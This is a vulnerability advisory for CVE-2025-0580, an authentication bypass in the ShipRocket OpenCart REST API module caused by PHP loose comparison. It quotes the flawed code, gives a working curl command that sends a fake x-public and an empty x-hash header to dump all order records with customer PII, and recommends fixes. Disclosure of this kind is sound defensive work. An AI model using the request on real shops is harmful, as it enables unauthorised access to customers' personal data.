The ShipRocket OpenCart Rest API module has an access bypass vulnerability, as a result of a logic error and type confusion in PHP.
This allows an unauthenticated attacker to access Personally Identifiable Information (PII) and other potentially sensitive information stored in the site's database. It may also be possible to make changes to the site's database.
- 2025-01-07: mcdruid informs ShipRocket of this vulnerability
- https://www.shiprocket.in/knowledgebase/integrate-opencart-ShipRocket/
- https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=29734
- Vulnerable versions:
- shiprocket_v3 (Aug, 28 2018)
- Previous versions not tested but possibly also vulnerable.
- Tested with OpenCart 3.0.4.0
- CWE-863: Incorrect Authorization
- CAPEC-115: Authentication Bypass
- CVSS (v3): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N 8.2 High
- CVE: CVE-2025-0580
In the examples below, a simple OpenCart test site has been set up with the ShipRocket Rest API OpenCart module installed. No further configuration is necessary.
The vulnerability is caused by the following authentication code:
$publicHash = @$this->request->server['HTTP_X_PUBLIC'];
if (isset($publicHash) && !empty($publicHash)) {
$contentHash = $this->request->server['HTTP_X_HASH'];
The supplied $publicHash is looked up in the database, after which:
if ($result->num_rows > 0) {
$privateHash = $result->row['private_key'];
$hash = hash_hmac('sha256', $publicHash, $privateHash);
} else {
$hash = '';
}
if ($hash == $contentHash) {
return true;
} else {
$this->response->addHeader('HTTP/1.1 401 Not Authorized');
The value of $contentHash is taken from a custom HTTP header.
If the x-hash header is sent with an empty value, $contentHash is set to an
empty string.
If the x-hash header is omitted, $contentHash is set to null.
The comparison uses == rather than the strictly typed === (see:
https://www.php.net/manual/en/language.operators.comparison.php ).
This means that if the value of the x-hash header loosely equates to an empty
string (after PHP's type juggling), authentication is successful.
Therefore an attacker can achieve this by sending an arbitrary value for the
x-public header (one which does not match a public key in the database) and an
empty value for the x-hash header (or by simply omitting the x-hash header).
For example, the following will retrieve full details of all orders in the db.
$ curl -s 'http://opencart3.ddev.site/index.php?route=extension/module/rest_api&action=getOrders' -H 'x-public: foo' -H 'x-hash;' | jq
{
"status": 200,
"data": "[{\"order_id\":\"1\",\"invoice_no\":\"0\",\"invoice_prefix\":\"INV-2025-00\" ...snip... \"firstname\":\"First\",\"lastname\":\"Last\",\"email\":\"email@example.com\",\"telephone\":\"12345\",\"fax\":\"\",\"custom_field\":\"[]\",\"payment_firstname\":\"First\",\"payment_lastname\":\"Last\",\"payment_company\":\"\",\"payment_address_1\":\"Address1\" ...snip... \"payment_method\":\"Cash On Delivery\" ...snip...
(Note curl's syntax for sending an empty header using a semi-colon.)
The authentication code could / should:
- Check for the presence and validity of both customer headers.
- If there's no match for the hash in the db, the method could return
immediately or perhaps set
$hashtoFALSErather than an empty string. - If the comparison is reached, it should use the strictly typed
===instead of==to avoid type confusion errors.